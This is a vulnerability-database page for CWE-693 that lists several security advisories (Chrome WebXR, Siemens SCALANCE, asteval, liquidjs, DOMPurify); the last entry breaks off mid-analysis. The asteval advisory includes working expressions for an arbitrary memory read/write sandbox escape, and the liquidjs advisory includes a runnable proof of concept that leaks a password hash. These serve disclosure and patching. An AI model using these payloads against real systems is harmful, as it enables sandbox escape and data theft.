CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
1140 vulnerabilities reference this CWE, most recent first.
GHSA-9R7R-6R2R-9FMJ
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in WebXR in Google Chrome on Android prior to 150.0.7871.47 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-13910"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:05Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in WebXR in Google Chrome on Android prior to 150.0.7871.47 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-9r7r-6r2r-9fmj",
"modified": "2026-07-01T15:35:02Z",
"published": "2026-07-01T00:34:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13910"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/507231605"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9V8P-C94C-Q287
Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2022-12-13 18:30A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (all versions < 5.2.4), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (all versions < 4.1.3). The device does not send the X-Frame-Option Header in the administrative web interface, which makes it vulnerable to Clickjacking attacks. The security vulnerability could be exploited by an attacker that is able to trick an administrative user with a valid session on the target device into clicking on a website controlled by the attacker. The vulnerability could allow an attacker to perform administrative actions via the web interface. At the time of advisory publication no public exploitation of this security vulnerability was known.
{
"affected": [],
"aliases": [
"CVE-2019-13924"
],
"database_specific": {
"cwe_ids": [
"CWE-1021",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-11T16:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (all versions \u003c 5.2.4), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (all versions \u003c 4.1.3). The device does not send the X-Frame-Option Header in the administrative web interface, which makes it vulnerable to Clickjacking attacks. The security vulnerability could be exploited by an attacker that is able to trick an administrative user with a valid session on the target device into clicking on a website controlled by the attacker. The vulnerability could allow an attacker to perform administrative actions via the web interface. At the time of advisory publication no public exploitation of this security vulnerability was known.",
"id": "GHSA-9v8p-c94c-q287",
"modified": "2022-12-13T18:30:27Z",
"published": "2022-05-24T17:08:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13924"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-951513.pdf"
},
{
"type": "WEB",
"url": "https://www.us-cert.gov/ics/advisories/icsa-20-042-07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9W56-46F6-3QHX
Vulnerability from github – Published: 2026-08-20 17:26 – Updated: 2026-08-20 17:26Summary
With its default configuration (numpy enabled, import disabled), asteval's Interpreter lets an attacker-controlled expression obtain a raw arbitrary process-memory read and write primitive, without using import, any __dunder__ attribute, or eval/exec/getattr. Arbitrary in-process read/write is equivalent to arbitrary code execution and is a complete escape of the sandbox whose entire purpose is "untrusted string in, no arbitrary execution out." Any application that feeds untrusted input to asteval with numpy installed (the default) is affected.
Details
asteval's attribute filter (asteval/astutils.py: safe_getattr) blocks every __dunder__ name and blocks objects whose attribute value is identity-equal to one of the modules in UNSAFE_MODULES = {io, os, sys, ctypes}. The ctypes module entry was added recently (commit 9d9d430) and correctly blocks ndarray.ctypes._ctypes.
However, the module check is identity-only against the ctypes module. It does not cover ctypes type objects and their metaclass methods, which are reachable through numpy's ndarray.ctypes wrapper using only ordinary (non-dunder) attribute names:
zeros(1, dtype=int32).ctypes.shape._type_ -> <class 'ctypes.c_long'>
ndarray.ctypes exposes .shape (a ctypes array) whose element type ._type_ is ctypes.c_long. None of ctypes, .shape, ._type_ is a dunder, none is in UNSAFE_ATTRS, and the returned value is a type, not the ctypes module, so safe_getattr permits all of them.
On that ctypes type, the metaclass method from_address is reachable (non-dunder, not in UNSAFE_ATTRS; it is not even listed by dir(), which is likely why it was missed):
- Arbitrary read:
c_long.from_address(addr).valuereads 8 bytes at any address.id()(a permitted builtin) supplies arbitrary object addresses. - Arbitrary write:
cell = c_long.from_address(addr); cell.value = Xwrites 8 bytes to any address. The write half rides asteval's unfilteredsetattrinInterpreter.node_assign(theast.Attributebranch performssetattr(self.run(node.value), node.attr, val)with no attribute-name check).
Root cause is two gaps:
safe_getattrblocks the ctypes module but not ctypes types / metaclass methods (from_address,from_buffer,from_buffer_copy,in_dll,from_param) reachable viandarray.ctypes ... ._type_.node_assignperforms attribute writes (setattr) and deletes (delattr) with no attribute-name filtering.
This belongs to the known "numpy is a large attack surface" class (the docs already note open() read and ndarray.tofile() write), but this specific arbitrary memory read/write chain is undocumented and bypasses the most recent ctypes-module hardening. All previously reported escapes (CVE-2025-24359 / GHSA-3wwr-3g9f-9gc7, GHSA-vp47-9734-prjw, reduce/reduce_ex, classic __subclasses__ traversal) are patched on the current code; this one is live.
PoC
Self contained POC here: https://gist.github.com/thegr1ffyn/16b67c5f9b5339a7e2bdc91423ff09e3
Environment: pip install asteval numpy (verified on asteval 1.0.8, numpy 2.4.6, CPython 3.12.3; the chain is numpy-1.x/2.x robust). Default Interpreter (use_numpy=True, import disabled).
Minimal one-expression arbitrary read (reads 8 bytes at an attacker-chosen address):
zeros(1,dtype=int32).ctypes.shape._type_.from_address(id(zeros(1))).value
Minimal arbitrary write (writes 0x4142434445464748 to a chosen address; here our own array buffer, observed back through numpy):
a = zeros(2, dtype=int32)
cell = a.ctypes.shape._type_.from_address(a.ctypes.data)
cell.value = 0x4142434445464748 # -> a[0]=0x45464748, a[1]=0x41424344
A full self-contained script is attached (poc_asteval_ctypes.py); running it prints the recovered PyObject header of a private object (arbitrary read) and confirms a raw write landing at a chosen pointer (arbitrary write), all from a default, import-disabled interpreter.
Impact
Sandbox escape / protection-mechanism failure leading to arbitrary in-process native memory read and write (RCE-equivalent). Impact:
- Disclosure of any data in the host process's address space (secrets, keys, other users' data).
- Corruption of arbitrary memory -> control-flow hijack / arbitrary code execution and/or process crash (DoS).
Affected: any application that evaluates untrusted/attacker-influenced expressions with asteval while numpy is installed (the default). No authentication and no special configuration is required; import does not need to be enabled. Mitigation until patched: construct the interpreter with use_numpy=False.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asteval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-749",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:26:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nWith its default configuration (numpy enabled, `import` disabled), asteval\u0027s `Interpreter` lets an attacker-controlled expression obtain a raw **arbitrary process-memory read and write** primitive, without using `import`, any `__dunder__` attribute, or `eval`/`exec`/`getattr`. Arbitrary in-process read/write is equivalent to arbitrary code execution and is a complete escape of the sandbox whose entire purpose is \"untrusted string in, no arbitrary execution out.\" Any application that feeds untrusted input to asteval with numpy installed (the default) is affected.\n\n### Details\nasteval\u0027s attribute filter (`asteval/astutils.py: safe_getattr`) blocks every `__dunder__` name and blocks objects whose attribute value is *identity-equal* to one of the modules in `UNSAFE_MODULES = {io, os, sys, ctypes}`. The `ctypes` **module** entry was added recently (commit 9d9d430) and correctly blocks `ndarray.ctypes._ctypes`.\n\nHowever, the module check is identity-only against the ctypes *module*. It does not cover ctypes **type objects** and their metaclass methods, which are reachable through numpy\u0027s `ndarray.ctypes` wrapper using only ordinary (non-dunder) attribute names:\n\n zeros(1, dtype=int32).ctypes.shape._type_ -\u003e \u003cclass \u0027ctypes.c_long\u0027\u003e\n\n`ndarray.ctypes` exposes `.shape` (a ctypes array) whose element type `._type_` is `ctypes.c_long`. None of `ctypes`, `.shape`, `._type_` is a dunder, none is in `UNSAFE_ATTRS`, and the returned value is a *type*, not the ctypes module, so `safe_getattr` permits all of them.\n\nOn that ctypes type, the metaclass method `from_address` is reachable (non-dunder, not in `UNSAFE_ATTRS`; it is not even listed by `dir()`, which is likely why it was missed):\n\n* **Arbitrary read:** `c_long.from_address(addr).value` reads 8 bytes at any address. `id()` (a permitted builtin) supplies arbitrary object addresses.\n* **Arbitrary write:** `cell = c_long.from_address(addr); cell.value = X` writes 8 bytes to any address. The write half rides asteval\u0027s **unfiltered `setattr`** in `Interpreter.node_assign` (the `ast.Attribute` branch performs `setattr(self.run(node.value), node.attr, val)` with no attribute-name check).\n\nRoot cause is two gaps:\n\n1. `safe_getattr` blocks the ctypes *module* but not ctypes *types* / metaclass methods (`from_address`, `from_buffer`, `from_buffer_copy`, `in_dll`, `from_param`) reachable via `ndarray.ctypes ... ._type_`.\n2. `node_assign` performs attribute writes (`setattr`) and deletes (`delattr`) with no attribute-name filtering.\n\nThis belongs to the known \"numpy is a large attack surface\" class (the docs already note `open()` read and `ndarray.tofile()` write), but this specific arbitrary memory read/write chain is undocumented and bypasses the most recent ctypes-module hardening. All previously reported escapes (CVE-2025-24359 / GHSA-3wwr-3g9f-9gc7, GHSA-vp47-9734-prjw, reduce/reduce_ex, classic `__subclasses__` traversal) are patched on the current code; this one is live.\n\n### PoC\nSelf contained POC here: https://gist.github.com/thegr1ffyn/16b67c5f9b5339a7e2bdc91423ff09e3\nEnvironment: `pip install asteval numpy` (verified on asteval 1.0.8, numpy 2.4.6, CPython 3.12.3; the chain is numpy-1.x/2.x robust). Default `Interpreter` (`use_numpy=True`, `import` disabled).\n\nMinimal one-expression arbitrary read (reads 8 bytes at an attacker-chosen address):\n\n zeros(1,dtype=int32).ctypes.shape._type_.from_address(id(zeros(1))).value\n\nMinimal arbitrary write (writes 0x4142434445464748 to a chosen address; here our own array buffer, observed back through numpy):\n\n a = zeros(2, dtype=int32)\n cell = a.ctypes.shape._type_.from_address(a.ctypes.data)\n cell.value = 0x4142434445464748 # -\u003e a[0]=0x45464748, a[1]=0x41424344\n\nA full self-contained script is attached (poc_asteval_ctypes.py); running it prints the recovered PyObject header of a private object (arbitrary read) and confirms a raw write landing at a chosen pointer (arbitrary write), all from a default, import-disabled interpreter.\n\n### Impact\nSandbox escape / protection-mechanism failure leading to arbitrary in-process native memory read and write (RCE-equivalent). Impact:\n\n* Disclosure of any data in the host process\u0027s address space (secrets, keys, other users\u0027 data).\n* Corruption of arbitrary memory -\u003e control-flow hijack / arbitrary code execution and/or process crash (DoS).\n\nAffected: any application that evaluates untrusted/attacker-influenced expressions with asteval while numpy is installed (the default). No authentication and no special configuration is required; `import` does not need to be enabled. Mitigation until patched: construct the interpreter with `use_numpy=False`.",
"id": "GHSA-9w56-46f6-3qhx",
"modified": "2026-08-20T17:26:52Z",
"published": "2026-08-20T17:26:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/security/advisories/GHSA-9w56-46f6-3qhx"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/pull/153"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/lmfit/asteval"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "asteval Sandbox Escape: arbitrary native memory read/write via numpy ctypes in default asteval Interpreter"
}
GHSA-9X9P-QF8F-MVJG
Vulnerability from github – Published: 2026-05-27 00:28 – Updated: 2026-07-09 21:06Summary
Context.spawn() in liquidjs creates a child Context for the {% render %} tag but does not propagate the parent context's resolved ownPropertyOnly value. The new context re-derives ownPropertyOnly from opts.ownPropertyOnly (the instance-level option), silently discarding any RenderOptions.ownPropertyOnly override that was supplied to parseAndRender(). As a result, a developer who runs a Liquid instance with the backwards-compatible ownPropertyOnly:false and then locks down an untrusted render with parseAndRender(..., { ownPropertyOnly: true }) still leaks prototype-chain properties from inside any {% render %} partial. This is a distinct exploit surface from the previously identified array-filter variants (where, reject, group_by, find, find_index, has) — the underlying root cause in Context.spawn() is shared, but {% render %} is a separately reachable sink that needs no filter usage.
Details
The bug is in Context.spawn():
// src/context/context.ts:105-114
public spawn (scope = {}) {
return new Context(scope, this.opts, {
sync: this.sync,
globals: this.globals,
strictVariables: this.strictVariables
// <-- ownPropertyOnly is missing here
}, {
renderLimit: this.renderLimit,
memoryLimit: this.memoryLimit
})
}
The constructor resolves ownPropertyOnly as:
// src/context/context.ts:47
this.ownPropertyOnly = renderOptions.ownPropertyOnly ?? opts.ownPropertyOnly
Because spawn() passes a RenderOptions object with no ownPropertyOnly, the child context falls back to opts.ownPropertyOnly (the instance-level option), throwing away any per-render override that the parent context had applied. this.opts is the raw normalized instance options object; it is not mutated to reflect render-time overrides.
The {% render %} tag at src/tags/render.ts:51-77 calls spawn() to build the partial's isolated scope:
* render (ctx: Context, emitter: Emitter): Generator<unknown, void, unknown> {
const { liquid, hash } = this
const filepath = (yield renderFilePath(this['file'], ctx, liquid)) as string
assert(filepath, () => `illegal file path "${filepath}"`)
const childCtx = ctx.spawn() // <-- ownPropertyOnly lost here
const scope = childCtx.bottom()
__assign(scope, yield hash.render(ctx))
...
const templates = (yield liquid._parsePartialFile(filepath, childCtx.sync, this['currentFile'])) as Template[]
yield liquid.renderer.renderTemplates(templates, childCtx, emitter)
}
All template variable lookups inside the partial then go through childCtx.readProperty() (src/context/context.ts:123-135), which calls readJSProperty(obj, key, this.ownPropertyOnly). With childCtx.ownPropertyOnly === false (inherited from opts), the protective check at src/context/context.ts:138-141 is skipped and prototype-chain properties are returned to the template:
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
return obj[key]
}
The {% include %} tag is not affected: it does not call spawn(); it pushes onto the parent context's scope stack (src/tags/include.ts:40), so the parent's resolved ownPropertyOnly continues to apply.
Trust model / why this matters: RenderOptions.ownPropertyOnly is documented (src/liquid-options.ts:108-111) as "Same as ownPropertyOnly on LiquidOptions, but only for current render() call". It exists precisely so that developers running a non-strict instance can lock down individual untrusted renders. That contract is broken — the override is silently dropped at every partial boundary.
PoC
mkdir -p /tmp/render-poc
printf '{{ user.passwordHash }}' > /tmp/render-poc/_user.liquid
node -e "
const { Liquid } = require('./dist/liquid.node.js');
const liquid = new Liquid({ ownPropertyOnly: false, root: '/tmp/render-poc' });
class User { constructor(n){ this.name = n; } }
User.prototype.passwordHash = 'bcrypt\$secret';
const u = new User('alice');
liquid.parseAndRender(
'Direct:[{{ user.passwordHash }}] Render:[{% render \"_user.liquid\", user: user %}]',
{ user: u },
{ ownPropertyOnly: true }
).then(console.log);
"
Verified output on liquidjs 10.25.7:
Direct:[] Render:[bcrypt$secret]
The top-level expression {{ user.passwordHash }} is correctly blocked by the per-render ownPropertyOnly:true, but the same expression inside the partial loaded by {% render %} returns the prototype-chain property — proof that Context.spawn() discarded the override.
Impact
- Information disclosure: Any prototype-chain property of objects passed into a
{% render %}partial — including secrets, hashes, internal state, framework-injected helpers — becomes readable from inside the partial template, even when the developer used the documented per-render lockdown. - Realistic threat model: Applications that maintain
ownPropertyOnly:falsefor backwards compatibility (or because their data layer relies on prototype methods) and lock down untrusted-template renders withparseAndRender(..., { ownPropertyOnly:true })are protected at the top level but silently exposed inside any partial. User-controllable template content (CMS snippets, theme partials, email templates) that uses{% render %}becomes an info-leak primitive. - Distinct from existing CVE-2022-25948: the prior advisory only covered direct use of
ownPropertyOnly:false; this is a failure of the documented mitigation (ownPropertyOnly:trueper-render override), not a missing setting. - Distinct from the array-filter variant: same
spawn()root cause, but exploitable without invokingwhere/reject/group_by/find/find_index/has— only requires that the template uses{% render %}(a basic templating feature) and that one of the rendered values has prototype-chain properties.
Recommended Fix
Propagate ownPropertyOnly (and any other security-relevant render options) inside Context.spawn():
// src/context/context.ts
public spawn (scope = {}) {
return new Context(scope, this.opts, {
sync: this.sync,
globals: this.globals,
strictVariables: this.strictVariables,
ownPropertyOnly: this.ownPropertyOnly // <-- propagate resolved per-render value
}, {
renderLimit: this.renderLimit,
memoryLimit: this.memoryLimit
})
}
Passing this.ownPropertyOnly (the resolved value, not this.opts.ownPropertyOnly) ensures any RenderOptions.ownPropertyOnly override flows into spawned child contexts. This single change closes both the {% render %} pathway documented here and the array-filter pathway tracked separately. A regression test should assert that a partial rendered via {% render %} honours parseAndRender(..., { ownPropertyOnly: true }) against an object with prototype-chain properties.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.25.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44646"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T00:28:06Z",
"nvd_published_at": "2026-06-17T23:17:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`Context.spawn()` in liquidjs creates a child `Context` for the `{% render %}` tag but does not propagate the parent context\u0027s resolved `ownPropertyOnly` value. The new context re-derives `ownPropertyOnly` from `opts.ownPropertyOnly` (the instance-level option), silently discarding any `RenderOptions.ownPropertyOnly` override that was supplied to `parseAndRender()`. As a result, a developer who runs a Liquid instance with the backwards-compatible `ownPropertyOnly:false` and then locks down an untrusted render with `parseAndRender(..., { ownPropertyOnly: true })` still leaks prototype-chain properties from inside any `{% render %}` partial. This is a distinct exploit surface from the previously identified array-filter variants (`where`, `reject`, `group_by`, `find`, `find_index`, `has`) \u2014 the underlying root cause in `Context.spawn()` is shared, but `{% render %}` is a separately reachable sink that needs no filter usage.\n\n## Details\n\nThe bug is in `Context.spawn()`:\n\n```ts\n// src/context/context.ts:105-114\npublic spawn (scope = {}) {\n return new Context(scope, this.opts, {\n sync: this.sync,\n globals: this.globals,\n strictVariables: this.strictVariables\n // \u003c-- ownPropertyOnly is missing here\n }, {\n renderLimit: this.renderLimit,\n memoryLimit: this.memoryLimit\n })\n}\n```\n\nThe constructor resolves `ownPropertyOnly` as:\n\n```ts\n// src/context/context.ts:47\nthis.ownPropertyOnly = renderOptions.ownPropertyOnly ?? opts.ownPropertyOnly\n```\n\nBecause `spawn()` passes a `RenderOptions` object with no `ownPropertyOnly`, the child context falls back to `opts.ownPropertyOnly` (the instance-level option), throwing away any per-render override that the parent context had applied. `this.opts` is the raw normalized instance options object; it is not mutated to reflect render-time overrides.\n\nThe `{% render %}` tag at `src/tags/render.ts:51-77` calls `spawn()` to build the partial\u0027s isolated scope:\n\n```ts\n* render (ctx: Context, emitter: Emitter): Generator\u003cunknown, void, unknown\u003e {\n const { liquid, hash } = this\n const filepath = (yield renderFilePath(this[\u0027file\u0027], ctx, liquid)) as string\n assert(filepath, () =\u003e `illegal file path \"${filepath}\"`)\n\n const childCtx = ctx.spawn() // \u003c-- ownPropertyOnly lost here\n const scope = childCtx.bottom()\n __assign(scope, yield hash.render(ctx))\n ...\n const templates = (yield liquid._parsePartialFile(filepath, childCtx.sync, this[\u0027currentFile\u0027])) as Template[]\n yield liquid.renderer.renderTemplates(templates, childCtx, emitter)\n}\n```\n\nAll template variable lookups inside the partial then go through `childCtx.readProperty()` (`src/context/context.ts:123-135`), which calls `readJSProperty(obj, key, this.ownPropertyOnly)`. With `childCtx.ownPropertyOnly === false` (inherited from `opts`), the protective check at `src/context/context.ts:138-141` is skipped and prototype-chain properties are returned to the template:\n\n```ts\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n if (ownPropertyOnly \u0026\u0026 !hasOwnProperty.call(obj, key) \u0026\u0026 !(obj instanceof Drop)) return undefined\n return obj[key]\n}\n```\n\nThe `{% include %}` tag is **not** affected: it does not call `spawn()`; it pushes onto the parent context\u0027s scope stack (`src/tags/include.ts:40`), so the parent\u0027s resolved `ownPropertyOnly` continues to apply.\n\nTrust model / why this matters: `RenderOptions.ownPropertyOnly` is documented (`src/liquid-options.ts:108-111`) as \"Same as `ownPropertyOnly` on LiquidOptions, but only for current `render()` call\". It exists precisely so that developers running a non-strict instance can lock down individual untrusted renders. That contract is broken \u2014 the override is silently dropped at every partial boundary.\n\n## PoC\n\n```bash\nmkdir -p /tmp/render-poc\nprintf \u0027{{ user.passwordHash }}\u0027 \u003e /tmp/render-poc/_user.liquid\n\nnode -e \"\nconst { Liquid } = require(\u0027./dist/liquid.node.js\u0027);\nconst liquid = new Liquid({ ownPropertyOnly: false, root: \u0027/tmp/render-poc\u0027 });\n\nclass User { constructor(n){ this.name = n; } }\nUser.prototype.passwordHash = \u0027bcrypt\\$secret\u0027;\nconst u = new User(\u0027alice\u0027);\n\nliquid.parseAndRender(\n \u0027Direct:[{{ user.passwordHash }}] Render:[{% render \\\"_user.liquid\\\", user: user %}]\u0027,\n { user: u },\n { ownPropertyOnly: true }\n).then(console.log);\n\"\n```\n\nVerified output on liquidjs 10.25.7:\n\n```\nDirect:[] Render:[bcrypt$secret]\n```\n\nThe top-level expression `{{ user.passwordHash }}` is correctly blocked by the per-render `ownPropertyOnly:true`, but the same expression inside the partial loaded by `{% render %}` returns the prototype-chain property \u2014 proof that `Context.spawn()` discarded the override.\n\n## Impact\n\n- **Information disclosure**: Any prototype-chain property of objects passed into a `{% render %}` partial \u2014 including secrets, hashes, internal state, framework-injected helpers \u2014 becomes readable from inside the partial template, even when the developer used the documented per-render lockdown.\n- **Realistic threat model**: Applications that maintain `ownPropertyOnly:false` for backwards compatibility (or because their data layer relies on prototype methods) and lock down untrusted-template renders with `parseAndRender(..., { ownPropertyOnly:true })` are protected at the top level but silently exposed inside any partial. User-controllable template content (CMS snippets, theme partials, email templates) that uses `{% render %}` becomes an info-leak primitive.\n- **Distinct from existing CVE-2022-25948**: the prior advisory only covered direct use of `ownPropertyOnly:false`; this is a failure of the documented mitigation (`ownPropertyOnly:true` per-render override), not a missing setting.\n- **Distinct from the array-filter variant**: same `spawn()` root cause, but exploitable without invoking `where/reject/group_by/find/find_index/has` \u2014 only requires that the template uses `{% render %}` (a basic templating feature) and that one of the rendered values has prototype-chain properties.\n\n## Recommended Fix\n\nPropagate `ownPropertyOnly` (and any other security-relevant render options) inside `Context.spawn()`:\n\n```ts\n// src/context/context.ts\npublic spawn (scope = {}) {\n return new Context(scope, this.opts, {\n sync: this.sync,\n globals: this.globals,\n strictVariables: this.strictVariables,\n ownPropertyOnly: this.ownPropertyOnly // \u003c-- propagate resolved per-render value\n }, {\n renderLimit: this.renderLimit,\n memoryLimit: this.memoryLimit\n })\n}\n```\n\nPassing `this.ownPropertyOnly` (the resolved value, not `this.opts.ownPropertyOnly`) ensures any `RenderOptions.ownPropertyOnly` override flows into spawned child contexts. This single change closes both the `{% render %}` pathway documented here and the array-filter pathway tracked separately. A regression test should assert that a partial rendered via `{% render %}` honours `parseAndRender(..., { ownPropertyOnly: true })` against an object with prototype-chain properties.",
"id": "GHSA-9x9p-qf8f-mvjg",
"modified": "2026-07-09T21:06:26Z",
"published": "2026-05-27T00:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-9x9p-qf8f-mvjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44646"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/dbbf6288030591bf6da28d8c1cce5a17bca97bb6"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS\u0027s `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`"
}
GHSA-C2J3-45GR-MQC4
Vulnerability from github – Published: 2026-07-21 19:41 – Updated: 2026-07-21 19:41Summary
There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.
When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.
This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.
Details
The issue appears to originate from the control flow in src/purify.ts: line 1672~1691
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748
const customElementHandling =
objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
cfg.CUSTOM_ELEMENT_HANDLING &&
typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
? clone(cfg.CUSTOM_ELEMENT_HANDLING)
: create(null);
CUSTOM_ELEMENT_HANDLING = create(null);
In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.
During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814
/* Remove element if anything forbids its presence */
if (
FORBID_TAGS[tagName] ||
(!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
) &&
!ALLOWED_TAGS[tagName])
) {
return _sanitizeDisallowedNode(currentNode, tagName);
}
If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.
Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.
That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:
- the namespace validation at
src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
nodeType getter rather than `instanceof Element`, which is realm-
bound and short-circuits to false for any node minted in a different
realm — letting a foreign-realm element with a forbidden namespace
slip past the namespace check entirely. */
const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
_forceRemove(currentNode);
return true;
}
- the fallback-tag mXSS check at
src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
if (
(tagName === 'noscript' ||
tagName === 'noembed' ||
tagName === 'noframes') &&
regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
) {
_forceRemove(currentNode);
return true;
}
- most importantly for this report, the
afterSanitizeElementshook dispatch atsrc/purify.ts: line 1850~1851.
/* Execute a hook if present */
_executeHooks(hooks.afterSanitizeElements, currentNode, null);
In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.
